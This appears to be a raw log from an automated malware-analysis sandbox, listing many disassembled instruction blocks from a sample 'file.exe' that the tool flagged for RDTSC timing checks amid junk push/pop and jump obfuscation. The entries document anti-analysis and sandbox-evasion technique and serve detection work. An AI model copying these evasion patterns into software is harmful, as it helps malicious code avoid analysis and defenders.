Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89BF36 second address: 89BF3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89BF3E second address: 89BF44 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89BF44 second address: 89BF4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89BF4E second address: 89BF52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89BF52 second address: 89BF84 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAA34ECFF56h 0x00000008 jne 00007FAA34ECFF56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 jmp 00007FAA34ECFF61h 0x00000019 pop eax 0x0000001a push ebx 0x0000001b jp 00007FAA34ECFF56h 0x00000021 pop ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A744 second address: 89A749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A749 second address: 89A765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF66h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A765 second address: 89A769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A769 second address: 89A76D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A76D second address: 89A789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAA34DB19C1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A789 second address: 89A78D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ABAA second address: 89ABAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ABAE second address: 89ABC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FAA34ECFF56h 0x0000000e jp 00007FAA34ECFF56h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ABC2 second address: 89ABD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B210 second address: 89B216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B216 second address: 89B251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA34DB19C8h 0x00000009 popad 0x0000000a jnc 00007FAA34DB19BCh 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FAA34DB19BAh 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B251 second address: 89B260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FAA34ECFF56h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B260 second address: 89B270 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAA34DB19B6h 0x00000008 js 00007FAA34DB19B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89BC87 second address: 89BCB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FAA34ECFF67h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jns 00007FAA34ECFF56h 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A20B9 second address: 8A20D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a pop edi 0x0000000b push eax 0x0000000c pushad 0x0000000d jo 00007FAA34DB19B6h 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1DD8 second address: 8A1DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FAA34ECFF56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1DE2 second address: 8A1E15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C6h 0x00000007 jmp 00007FAA34DB19BBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007FAA34DB19B6h 0x00000016 je 00007FAA34DB19B6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1E15 second address: 8A1E19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1E19 second address: 8A1E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A37EC second address: 8A37F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A37F2 second address: 8A37FE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAA34DB19B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A37FE second address: 8A380C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA34ECFF5Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6D38 second address: 8A6D3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6D3C second address: 8A6D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6D49 second address: 8A6D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA34DB19BAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ADDD3 second address: 8ADE36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FAA34ECFF5Eh 0x0000000f jc 00007FAA34ECFF56h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 push edi 0x00000019 pop edi 0x0000001a jmp 00007FAA34ECFF62h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 jno 00007FAA34ECFF62h 0x00000028 jno 00007FAA34ECFF56h 0x0000002e jne 00007FAA34ECFF56h 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFF34 second address: 8BFF3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFF3A second address: 8BFF5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FAA34ECFF6Ch 0x0000000e jmp 00007FAA34ECFF66h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1FAF second address: 8C1FC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FAA34DB19BEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1FC5 second address: 8C1FCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1FCB second address: 8C1FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4447 second address: 7A4495 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF66h 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 jmp 00007FAA34ECFF67h 0x00000017 pushad 0x00000018 push esi 0x00000019 pop esi 0x0000001a jmp 00007FAA34ECFF5Fh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1B15 second address: 8C1B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FAA34DB19B6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1B26 second address: 8C1B2C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1B2C second address: 8C1B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FAA34DB19BCh 0x0000000c jp 00007FAA34DB19B6h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1B41 second address: 8C1B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FAA34ECFF56h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1C8D second address: 8C1CBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34DB19C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FAA34DB19BEh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1CBA second address: 8C1CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1CBE second address: 8C1CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1CC7 second address: 8C1CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1CCC second address: 8C1CD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4434 second address: 8C443A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C443A second address: 8C4449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FAA34DB19B6h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4449 second address: 8C4483 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA34ECFF5Bh 0x00000007 jmp 00007FAA34ECFF5Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jbe 00007FAA34ECFF6Eh 0x00000014 jmp 00007FAA34ECFF66h 0x00000019 push eax 0x0000001a pop eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4483 second address: 8C449F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA34DB19C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C449F second address: 8C44E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA34ECFF69h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FAA34ECFF73h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D4334 second address: 8D4351 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FAA34DB19C3h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D4351 second address: 8D4361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007FAA34ECFF58h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D4361 second address: 8D438B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA34DB19BFh 0x00000009 pushad 0x0000000a popad 0x0000000b jnp 00007FAA34DB19B6h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007FAA34DB19BBh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3223 second address: 8D323C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FAA34ECFF5Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3794 second address: 8D3798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3AED second address: 8D3AF7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAA34ECFF56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3C34 second address: 8D3C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jg 00007FAA34DB19B6h 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3C44 second address: 8D3C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3EB6 second address: 8D3ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA34DB19C2h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3ECD second address: 8D3F08 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FAA34ECFF69h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FAA34ECFF62h 0x00000012 jne 00007FAA34ECFF62h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3F08 second address: 8D3F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FAA34DB19B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3F12 second address: 8D3F1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5A0C second address: 8D5A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D82D6 second address: 8D8302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnc 00007FAA34ECFF5Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FAA34ECFF67h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D8302 second address: 8D8308 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D8308 second address: 8D830C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D839D second address: 8D83A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D85B5 second address: 8D85EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FAA34ECFF56h 0x0000000a popad 0x0000000b jbe 00007FAA34ECFF5Ch 0x00000011 jp 00007FAA34ECFF56h 0x00000017 popad 0x00000018 mov dword ptr [esp], eax 0x0000001b push ecx 0x0000001c mov dx, ax 0x0000001f pop edx 0x00000020 push 00000004h 0x00000022 mov edx, dword ptr [ebp+1246823Fh] 0x00000028 call 00007FAA34ECFF59h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D85EC second address: 8D85F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D85F0 second address: 8D85F6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D85F6 second address: 8D8670 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAA34DB19BEh 0x00000008 jmp 00007FAA34DB19BDh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007FAA34DB19C8h 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jmp 00007FAA34DB19BAh 0x0000001f mov eax, dword ptr [eax] 0x00000021 jmp 00007FAA34DB19BDh 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c js 00007FAA34DB19CDh 0x00000032 jmp 00007FAA34DB19C7h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB8DF second address: 8DB8ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FAA34ECFF5Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB8ED second address: 8DB929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAA34DB19CCh 0x0000000a pushad 0x0000000b jnc 00007FAA34DB19B6h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jp 00007FAA34DB19B6h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push edx 0x0000001f pop edx 0x00000020 jnl 00007FAA34DB19B6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC040E second address: 4DC0413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0413 second address: 4DC041A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, ah 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC041A second address: 4DC044E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b call 00007FAA34ECFF65h 0x00000010 pop ecx 0x00000011 call 00007FAA34ECFF61h 0x00000016 pop eax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC044E second address: 4DC0454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0454 second address: 4DC0458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0458 second address: 4DC045C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC045C second address: 4DC04C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FAA34ECFF62h 0x00000012 adc esi, 37DD2DF8h 0x00000018 jmp 00007FAA34ECFF5Bh 0x0000001d popfd 0x0000001e call 00007FAA34ECFF68h 0x00000023 push esi 0x00000024 pop edi 0x00000025 pop ecx 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FAA34ECFF68h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC04FF second address: 4DC0503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0503 second address: 4DC0509 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0509 second address: 4DC0541 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FAA34DB19BCh 0x0000000b sbb cx, B778h 0x00000010 jmp 00007FAA34DB19BBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov ebx, esi 0x0000001d mov cx, 44A7h 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov bh, cl 0x00000028 mov esi, edx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0541 second address: 4DC0547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0547 second address: 4DC054B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC054B second address: 4DC055A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC055A second address: 4DC055E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC055E second address: 4DC0562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
